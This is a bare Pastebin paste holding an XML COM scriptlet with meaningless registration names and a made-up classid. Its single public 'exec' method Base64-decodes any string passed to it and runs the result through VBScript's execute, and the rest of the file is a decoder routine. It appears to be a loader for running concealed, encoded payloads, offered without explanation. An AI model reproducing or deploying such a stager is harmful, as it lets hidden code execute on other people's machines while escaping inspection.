Advertisement
rakanturki12222

Untitled

May 1st, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3.  
  4. <registration
  5. description="Graihhrj"
  6. progid="Graihheerj"
  7. version="1.00"
  8. classid="{F0001111-0111-0000-0000-0000FFEDACDC}"
  9. >
  10. </registration>
  11. <public>
  12. <method name="exec"></method>
  13.  
  14. </public>
  15. <script language="VBScript">
  16. <![CDATA[
  17.  
  18.  
  19. Function exec(sUrl)
  20. exec = execute(Base64Decode(sUrl))
  21. End Function
  22. Function Base64Decode(ByVal base64String)
  23. 'rfc1521
  24. '1999 Antonin Foller, Motobit Software, http://Motobit.cz
  25. Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  26. Dim dataLength, sOut, groupBegin
  27.  
  28. 'remove white spaces, If any
  29. base64String = Replace(base64String, vbCrLf, "")
  30. base64String = Replace(base64String, vbTab, "")
  31. base64String = Replace(base64String, " ", "")
  32.  
  33. 'The source must consists from groups with Len of 4 chars
  34. dataLength = Len(base64String)
  35. If dataLength Mod 4 <> 0 Then
  36. Err.Raise 1, "Base64Decode", "Bad Base64 string."
  37. Exit Function
  38. End If
  39.  
  40.  
  41. ' Now decode each group:
  42. For groupBegin = 1 To dataLength Step 4
  43. Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  44. ' Each data group encodes up To 3 actual bytes.
  45. numDataBytes = 3
  46. nGroup = 0
  47.  
  48. For CharCounter = 0 To 3
  49. ' Convert each character into 6 bits of data, And add it To
  50. ' an integer For temporary storage. If a character is a '=', there
  51. ' is one fewer data byte. (There can only be a maximum of 2 '=' In
  52. ' the whole string.)
  53.  
  54. thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  55.  
  56. If thisChar = "=" Then
  57. numDataBytes = numDataBytes - 1
  58. thisData = 0
  59. Else
  60. thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  61. End If
  62. If thisData = -1 Then
  63. Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  64. Exit Function
  65. End If
  66.  
  67. nGroup = 64 * nGroup + thisData
  68. Next
  69.  
  70. 'Hex splits the long To 6 groups with 4 bits
  71. nGroup = Hex(nGroup)
  72.  
  73. 'Add leading zeros
  74. nGroup = String(6 - Len(nGroup), "0") & nGroup
  75.  
  76. 'Convert the 3 byte hex integer (6 chars) To 3 characters
  77. pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
  78. Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
  79. Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  80.  
  81. 'add numDataBytes characters To out string
  82. sOut = sOut & Left(pOut, numDataBytes)
  83. Next
  84.  
  85. Base64Decode = sOut
  86. End Function
  87. ]]>
  88. </script>
  89.  
  90. </scriptlet>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement